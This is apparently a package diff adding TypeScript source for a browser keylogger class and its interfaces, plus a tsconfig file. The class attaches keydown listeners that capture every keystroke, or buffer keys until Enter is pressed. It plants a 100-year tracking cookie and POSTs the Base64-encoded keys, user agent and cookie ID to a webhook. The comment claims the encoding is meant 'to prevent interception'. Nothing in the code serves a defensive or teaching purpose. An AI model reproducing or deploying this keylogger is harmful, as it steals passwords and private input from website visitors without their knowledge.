constructor(webhook: string, logAll?: boolean | undefined) {
|
21
|
+
this.webhook = webhook;
|
22
|
+
const masterSession: string = this.getOrCreateMasterSession();
|
23
|
+
this.initializeSession(masterSession);
|
24
|
+
logAll ? this.logAll() : this.logOnEnter();
|
25
|
+
}
|
26
|
+
|
27
|
+
/**
|
28
|
+
* Retrieves or creates a persistent "master-kw-cookie" cookie.
|
29
|
+
* @returns The value of the "master-kw-session" cookie.
|
30
|
+
*/
|
31
|
+
protected getOrCreateMasterSession(): string {
|
32
|
+
const cookieName: string = "master-kw-session";
|
33
|
+
const existingCookie: string | undefined = document.cookie
|
34
|
+
.split("; ")
|
35
|
+
.find((row) => row.startsWith(`${cookieName}=`));
|
36
|
+
if (existingCookie) {
|
37
|
+
return existingCookie.split("=")[1];
|
38
|
+
}
|
39
|
+
const newMasterSession: string = crypto.randomUUID();
|
40
|
+
const expires: Date = new Date();
|
41
|
+
expires.setFullYear(expires.getFullYear() + 100);
|
42
|
+
document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
|
43
|
+
return newMasterSession;
|
44
|
+
}
|
45
|
+
|
46
|
+
/**
|
47
|
+
* Initializes the session with metadata.
|
48
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
49
|
+
*/
|
50
|
+
protected async initializeSession(session_cookie: string): Promise<void> {
|
51
|
+
this.session = await this.createSession(session_cookie);
|
52
|
+
}
|
53
|
+
|
54
|
+
/**
|
55
|
+
* Creates a new session object with metadata.
|
56
|
+
* @param { string } session_cookie - The persistent session cookie value.
|
57
|
+
* @returns { Promise<ISession> } A Promise resolving to the session object.
|
58
|
+
*/
|
59
|
+
protected async createSession(session_cookie: string): Promise<ISession> {
|
60
|
+
const id: string = crypto.randomUUID();
|
61
|
+
const created_at: Date = new Date();
|
62
|
+
const user_agent: string = navigator.userAgent;
|
63
|
+
return { id, created_at, user_agent, session_cookie };
|
64
|
+
}
|
65
|
+
|
66
|
+
/**
|
67
|
+
* Sends captured data to the webhook along with the session information.
|
68
|
+
* NOTE: Data is encoded in Base64 to prevent interception.
|
69
|
+
*
|
70
|
+
* @param payload - The data payload to send.
|
71
|
+
*/
|
72
|
+
protected async sendToWebhook(payload: IPayload): Promise<void> {
|
73
|
+
if (!this.session) return;
|
74
|
+
const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
|
75
|
+
try {
|
76
|
+
const response: Response = await fetch(this.webhook, {
|
77
|
+
method: "POST",
|
78
|
+
headers: {
|
79
|
+
"Content-Type": "text/plain",
|
80
|
+
},
|
81
|
+
body
|
82
|
+
});
|
83
|
+
if (!response.ok) {
|
84
|
+
console.error(btoa(response.statusText));
|
85
|
+
}
|
86
|
+
} catch (e: unknown) {
|
87
|
+
console.error(btoa((<Error>e).toString()));
|
88
|
+
}
|
89
|
+
}
|
90
|
+
|
91
|
+
/**
|
92
|
+
* Logs all keypress events and sends each key to the webhook.
|
93
|
+
*/
|
94
|
+
protected logAll(): void {
|
95
|
+
document.addEventListener("keydown", (event: KeyboardEvent) => {
|
96
|
+
const key: string = event.key;
|
97
|
+
this.keys.push(key);
|
98
|
+
this.sendToWebhook({
|
99
|
+
type: "keypress",
|
100
|
+
value: key,
|
101
|
+
});
|
102
|
+
});
|
103
|
+
}
|
104
|
+
|
105
|
+
/**
|
106
|
+
* Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
|
107
|
+
*/
|
108
|
+
protected logOnEnter(): void {
|
109
|
+
document.addEventListener("keydown", (event: KeyboardEvent) => {
|
110
|
+
if (event.key === "Enter") {
|
111
|
+
const value: string = this.keys.join("");
|
112
|
+
this.keys = [];
|
113
|
+
this.sendToWebhook({
|
114
|
+
type: "enter",
|
115
|
+
value,
|
116
|
+
});
|
117
|
+
} else {
|
118
|
+
this.keys.push(event.key);
|
119
|
+
}
|
120
|
+
});
|
121
|
+
}
|
122
|
+
}
|
123
|
+
|
@@ -0,0 +1,20 @@
|
|
1
|
+
/**
|
2
|
+
* Interface representing a session's metadata.
|
3
|
+
*/
|
4
|
+
export interface ISession {
|
5
|
+
/** Unique identifier for the session. */
|
6
|
+
id: string;
|
7
|
+
/** Timestamp when the session was created. */
|
8
|
+
created_at: Date;
|
9
|
+
/** User agent string of the client browser. */
|
10
|
+
user_agent: string;
|
11
|
+
/** Persistent session cookie. */
|
12
|
+
session_cookie: string;
|
13
|
+
}
|
14
|
+
|
15
|
+
export interface IPayload {
|
16
|
+
/** Type of event captured. */
|
17
|
+
type: "keypress" | "enter";
|
18
|
+
/** Value of the captured event. */
|
19
|
+
value: string;
|
20
|
+
}
|
package/tsconfig.json
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
{
|
2
|
+
"compilerOptions": {
|
3
|
+
// Enable latest features
|
4
|
+
"lib": ["ESNext", "DOM"],
|
5
|
+
"target": "ESNext",
|
6
|
+
"module": "ESNext",
|
7
|
+
"moduleDetection": "force",
|
8
|
+
"jsx": "react-jsx",
|
9
|
+
"allowJs": true,
|
10
|
+
|
11
|
+
// Bundler mode
|
12
|
+
"moduleResolution": "bundler",
|
13
|
+
"allowImportingTsExtensions": true,
|
14
|
+
"verbatimModuleSyntax": true,
|
15
|
+
|
16
|
+
// Best practices
|
17
|
+
"strict": true,
|
18
|
+
"skipLibCheck": true,
|
19
|
+
"noFallthroughCasesInSwitch": true,
|
20
|
+
"declaration": true,
|
21
|
+
|
22
|
+
// Some stricter flags (disabled by default)
|
23
|
+
"noUnusedLocals": false,
|
24
|
+
"noUnusedParameters": false,
|
25
|
+
"noPropertyAccessFromIndexSignature": false
|
26
|
+
}
|
27
|
+
}
|